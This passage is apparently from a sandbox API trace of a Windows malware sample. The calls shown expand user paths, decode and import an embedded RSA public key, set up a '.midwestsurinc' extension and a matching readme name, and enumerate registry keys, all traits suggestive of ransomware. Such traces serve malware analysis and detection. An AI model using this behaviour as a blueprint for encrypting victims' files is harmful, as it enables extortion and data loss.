(HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd2c8) returned 1 [0247.661] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc5e8) returned 1 [0247.661] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd2e8) returned 1 [0247.661] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd618) returned 1 [0247.661] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x10) returned 0x23fd618 [0247.661] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd2e8 [0247.661] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc5e8 [0247.661] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd2c8 [0247.661] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc1f8 [0247.661] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd2d8 [0247.661] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc1b0 [0247.661] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd298 [0247.661] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc168 [0247.661] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc288) returned 1 [0247.661] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd288) returned 1 [0247.661] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.661] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd278) returned 1 [0247.661] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.661] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd268) returned 1 [0247.662] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.662] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd258) returned 1 [0247.662] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd5e8) returned 1 [0247.662] ExpandEnvironmentStringsA (in: lpSrc="%ProgramData%", lpDst=0x282850, nSize=0x2800 | out: lpDst="C:\\ProgramData") returned 0xf [0247.662] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x282850, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0247.662] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x282850, cbMultiByte=14, lpWideCharStr=0x23fdfc0, cchWideChar=14 | out: lpWideCharStr="C:\\ProgramData") returned 14 [0247.662] ExpandEnvironmentStringsA (in: lpSrc="%windir%", lpDst=0x282850, nSize=0x2800 | out: lpDst="C:\\Windows") returned 0xb [0247.662] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x282850, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0247.675] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x282850, cbMultiByte=10, lpWideCharStr=0x23fe048, cchWideChar=10 | out: lpWideCharStr="C:\\Windows") returned 10 [0247.675] ExpandEnvironmentStringsA (in: lpSrc="%temp%", lpDst=0x282850, nSize=0x2800 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0247.675] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x282850, cbMultiByte=36, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 36 [0247.675] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x282850, cbMultiByte=36, lpWideCharStr=0x23fe0d0, cchWideChar=36 | out: lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 36 [0247.675] ExpandEnvironmentStringsA (in: lpSrc="%AppData%", lpDst=0x282850, nSize=0x2800 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2e [0247.675] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x282850, cbMultiByte=45, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 45 [0247.675] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x282850, cbMultiByte=45, lpWideCharStr=0x23fe158, cchWideChar=45 | out: lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 45 [0247.675] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x285058, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0247.675] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x285058, cbMultiByte=14, lpWideCharStr=0x23fe1e0, cchWideChar=14 | out: lpWideCharStr=".midwestsurinc") returned 14 [0247.675] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x285058, cbMultiByte=21, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0247.675] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x285058, cbMultiByte=21, lpWideCharStr=0x23fe268, cchWideChar=21 | out: lpWideCharStr=".midwestsurinc_readme") returned 21 [0247.675] WaitForSingleObject (hHandle=0xc4, dwMilliseconds=0xffffffff) returned 0x0 [0247.676] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0cOJv9Aj24KNBa4Tg+wa\r\nv5qBoxAz4aYPx79WQ/Fv+0crkkL6Ntr+cit1qYv+kOOipAjw7bHZ3fhqS6Tcm4YL\r\nBCz2vwVHI1HtZbattwG4L5RFN/Rc/FwuzpanfLmsdBVPOwdMXBCbLqDxpgbE1Gyj\r\nAfvGH0RdbcBYbdpleKlW+CCIyC5qnCOrKXOt4ilyv8GFS20Mzuhwpb3aLPNHAZ3N\r\n4VKgtsJkVM1hf4aU5U7lGwFoQzviK8cPzeheV1B1uUTr0+3sloZ74vB4b7UZ2Usa\r\nCjv7gHkuV9U9ZYAksxV6T6ja/hetEIy/CkqvgJNhJM/iJ4aCVedjdf0oBK2J8ilE\r\n7nEypSXl/sACMVuDhxPKUDZ7cNRK7JGV49E5PftX5zPYjbn8kmhNuVYq3k+BhlQn\r\nsHFVDMRBzHJJySsmj07x3qwbSrE82ERX4PoFjUkYyYA/4CdHwUGyUFP5nCAN9uRE\r\nbkhUJD28OMUHRUoMvAu1vberKFxNNbCa5HKw1GgF/j0DvqgOCxK4wdC5vixjOZNV\r\nMTT/wlkE5Q5356N9IksFCGW2iJXSpWIHzqES6oJD8VUYIcvU8hWQHYgi7jZ6gWN3\r\nmF30p0D0Zqx2zzOmwh6si15pBzj2gyKtGY1ZMbbWWx7q5EX6l2NkpOV1p6BY6uD6\r\nRF9Z6zKY+rwjT6TANpN7PwECAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0247.676] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0cOJv9Aj24KNBa4Tg+wa\r\nv5qBoxAz4aYPx79WQ/Fv+0crkkL6Ntr+cit1qYv+kOOipAjw7bHZ3fhqS6Tcm4YL\r\nBCz2vwVHI1HtZbattwG4L5RFN/Rc/FwuzpanfLmsdBVPOwdMXBCbLqDxpgbE1Gyj\r\nAfvGH0RdbcBYbdpleKlW+CCIyC5qnCOrKXOt4ilyv8GFS20Mzuhwpb3aLPNHAZ3N\r\n4VKgtsJkVM1hf4aU5U7lGwFoQzviK8cPzeheV1B1uUTr0+3sloZ74vB4b7UZ2Usa\r\nCjv7gHkuV9U9ZYAksxV6T6ja/hetEIy/CkqvgJNhJM/iJ4aCVedjdf0oBK2J8ilE\r\n7nEypSXl/sACMVuDhxPKUDZ7cNRK7JGV49E5PftX5zPYjbn8kmhNuVYq3k+BhlQn\r\nsHFVDMRBzHJJySsmj07x3qwbSrE82ERX4PoFjUkYyYA/4CdHwUGyUFP5nCAN9uRE\r\nbkhUJD28OMUHRUoMvAu1vberKFxNNbCa5HKw1GgF/j0DvqgOCxK4wdC5vixjOZNV\r\nMTT/wlkE5Q5356N9IksFCGW2iJXSpWIHzqES6oJD8VUYIcvU8hWQHYgi7jZ6gWN3\r\nmF30p0D0Zqx2zzOmwh6si15pBzj2gyKtGY1ZMbbWWx7q5EX6l2NkpOV1p6BY6uD6\r\nRF9Z6zKY+rwjT6TANpN7PwECAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x287cf8, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x287cf8, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0247.676] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x287cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x0, pcbStructInfo=0x18fd24 | out: pvStructInfo=0x0, pcbStructInfo=0x18fd24) returned 1 [0247.680] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x280) returned 0x287f40 [0247.680] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x287cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x287f40, pcbStructInfo=0x18fd24 | out: pvStructInfo=0x287f40, pcbStructInfo=0x18fd24) returned 1 [0247.680] CryptImportPublicKeyInfo (in: hCryptProv=0x632348, dwCertEncodingType=0x10001, pInfo=0x287f40*(Algorithm.pszObjId="1.2.840.113549.1.1.1", Algorithm.Parameters.cbData=0x2, Algorithm.Parameters.pbData=0x287f70*, PublicKey.cbData=0x20e, PublicKey.pbData=0x287f78*, PublicKey.cUnusedBits=0x0), phKey=0x18fd28 | out: phKey=0x18fd28*=0x6361a8) returned 1 [0247.681] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x287f40) returned 1 [0247.681] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x287cf8) returned 1 [0247.681] ReleaseMutex (hMutex=0xc4) returned 1 [0247.681] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x285058) returned 1 [0247.681] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x2800) returned 0x285058 [0247.681] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc900 [0247.681] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc900) returned 1 [0247.681] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x285058) returned 1 [0247.681] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x2800) returned 0x285058 [0247.681] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc900 [0247.681] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc900) returned 1 [0247.681] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc900 [0247.682] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x23fc900, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0247.682] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe1e0 [0247.682] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x23fc900, cbMultiByte=9, lpWideCharStr=0x23fe1e0, cchWideChar=9 | out: lpWideCharStr="DISK.FULL") returned 9 [0247.682] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe268 [0247.682] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe1e0) returned 1 [0247.682] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe268) returned 1 [0247.682] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc900) returned 1 [0247.682] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x285058) returned 1 [0247.682] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x282850) returned 1 [0247.682] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.682] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd258) returned 1 [0247.682] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.682] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd268) returned 1 [0247.682] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.682] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd278) returned 1 [0247.682] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc288) returned 1 [0247.682] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd288) returned 1 [0247.682] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd5e8) returned 1 [0247.682] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0247.682] StartServiceCtrlDispatcherW (lpServiceTable=0x18fdf0*(lpServiceName="", lpServiceProc=0x40d040)) returned 0 [0247.685] GetLastError () returned 0x427 [0247.685] GetCommandLineW () returned="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\bo7tPuLN\\3OCMIQ~1.EXE C:\\Users\\5P5NRG~1\\AppData\\Roaming\\J4OJAT~1" [0247.685] CommandLineToArgvW (in: lpCmdLine="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\bo7tPuLN\\3OCMIQ~1.EXE C:\\Users\\5P5NRG~1\\AppData\\Roaming\\J4OJAT~1", pNumArgs=0x18fddc | out: pNumArgs=0x18fddc) returned 0x6368a0*="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\bo7tPuLN\\3OCMIQ~1.EXE" [0247.685] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x10) returned 0x23fd5e8 [0247.685] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd288 [0247.685] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe268 [0247.685] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd278 [0247.685] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe1e0 [0247.685] LocalFree (hMem=0x6368a0) returned 0x0 [0247.686] Wow64DisableWow64FsRedirection (in: OldValue=0x18fdd8 | out: OldValue=0x18fdd8*=0x0) returned 1 [0247.686] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x800) returned 0x287cf8 [0247.686] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x287cf8, nSize=0x200 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\bo7tPuLN\\3OCMIQ~1.EXE" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\bo7tpuln\\3ocmiq~1.exe")) returned 0x37 [0247.686] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x800) returned 0x288500 [0247.686] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x288500, nSize=0x200 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\bo7tPuLN\\3OCMIQ~1.EXE" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\bo7tpuln\\3ocmiq~1.exe")) returned 0x37 [0247.686] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe2f0 [0247.686] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe378 [0247.686] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe2f0) returned 1 [0247.686] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe378) returned 1 [0247.686] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x800) returned 0x288d08 [0247.686] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\bo7tPuLN\\3OCMIQ~1.EXE", lpszShortPath=0x288d08, cchBuffer=0x200 | out: lpszShortPath="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\bo7tPuLN\\3OCMIQ~1.EXE") returned 0x37 [0247.686] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x800) returned 0x289510 [0247.686] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x5c) returned 0x23fdd28 [0247.686] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe378 [0247.686] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe2f0 [0247.686] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe400 [0247.686] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe488 [0247.686] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe510 [0247.686] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe598 [0247.686] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe620 [0247.686] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe6a8 [0247.686] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe730 [0247.686] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe7b8 [0247.686] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe840 [0247.686] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc288 [0247.686] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe8c8 [0247.686] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x280) returned 0x289d18 [0247.686] SHRegDuplicateHKey (hkey=0x80000001) returned 0x80000001 [0247.687] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x0, lpName=0x289d18, cchName=0x104 | out: lpName="AppEvents") returned 0x0 [0247.687] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appevents", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0247.687] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appevents", cchWideChar=9, lpMultiByteStr=0x23fc120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appevents", lpUsedDefaultChar=0x0) returned 9 [0247.687] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.687] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.687] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.687] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.687] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x1, lpName=0x289d18, cchName=0x104 | out: lpName="Console") returned 0x0 [0247.687] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="console", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.687] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="console", cchWideChar=7, lpMultiByteStr=0x23fc240, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="console", lpUsedDefaultChar=0x0) returned 7 [0247.687] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.687] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.687] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.687] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.687] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x2, lpName=0x289d18, cchName=0x104 | out: lpName="Control Panel") returned 0x0 [0247.687] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0247.687] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x23fc120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control panel", lpUsedDefaultChar=0x0) returned 13 [0247.687] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.687] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.687] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.687] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.687] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x3, lpName=0x289d18, cchName=0x104 | out: lpName="Environment") returned 0x0 [0247.687] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="environment", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0247.687] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="environment", cchWideChar=11, lpMultiByteStr=0x23fc240, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="environment", lpUsedDefaultChar=0x0) returned 11 [0247.688] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.688] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.688] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.688] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.688] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x4, lpName=0x289d18, cchName=0x104 | out: lpName="EUDC") returned 0x0 [0247.688] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eudc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0247.688] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eudc", cchWideChar=4, lpMultiByteStr=0x23fc120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eudc", lpUsedDefaultChar=0x0) returned 4 [0247.688] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.688] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.688] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.688] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.688] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x5, lpName=0x289d18, cchName=0x104 | out: lpName="Identities") returned 0x0 [0247.688] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identities", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0247.688] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identities", cchWideChar=10, lpMultiByteStr=0x23fc240, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identities", lpUsedDefaultChar=0x0) returned 10 [0247.688] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.688] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.688] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.688] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.688] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x6, lpName=0x289d18, cchName=0x104 | out: lpName="Keyboard Layout") returned 0x0 [0247.688] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyboard layout", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0247.688] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyboard layout", cchWideChar=15, lpMultiByteStr=0x23fc120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="keyboard layout", lpUsedDefaultChar=0x0) returned 15 [0247.688] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.688] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.688] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.688] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.688] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x7, lpName=0x289d18, cchName=0x104 | out: lpName="Network") returned 0x0 [0247.688] 